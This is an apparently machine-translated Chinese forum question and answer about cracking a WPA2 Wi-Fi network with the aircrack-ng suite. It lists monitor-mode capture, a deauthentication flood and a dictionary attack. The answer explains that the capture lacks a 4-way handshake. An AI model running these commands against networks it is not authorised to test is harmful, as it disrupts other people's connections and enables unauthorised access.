我尝试破解 WPA2 wifi,因此我执行以下操作:
airmon-ng start wlan0
airodump-ng wlan0mon
airodump-ng --bssid (bssid) -c (channel) --write wpa2 wlan0mon
aireplay-ng --deauth 100 -a (bssid) wlan0mon
但是当我尝试时,aircrack-ng wpa2.cap -w passlist.txt
它不起作用,并且出现以下错误:
打开WPA2-01.cap读取12126个数据包。
# BSSID ESSID 加密
1 BC:F6:85:DE:2A:A5 Dr.laban 无数据 - WEP 或 WPA
选择第一个网络作为目标。
打开 WPA2-01.cap 没有从目标网络获取数据包!
退出 aircrack-ng...
我也尝试过service network-manager stop
,airmon-ng check kill
但是没有用。
答案1
aircrack-ng
各州的产出
无数据 - WEP 或 WPA
这意味着所有捕获的数据包都只是信标(AP 公告数据包),并没有捕获到真正有用的 AP 客户端数据。
此外,并非所有 AP 客户端数据都可以用于 WPA2 破解,只有 4 向握手。
你只需要用另一台设备成功访问 WPA2 网络,同时airodump-ng
用
WPA 握手:aa:bb:cc:dd:ee:ff
将会出现确认已获取有用数据的情况。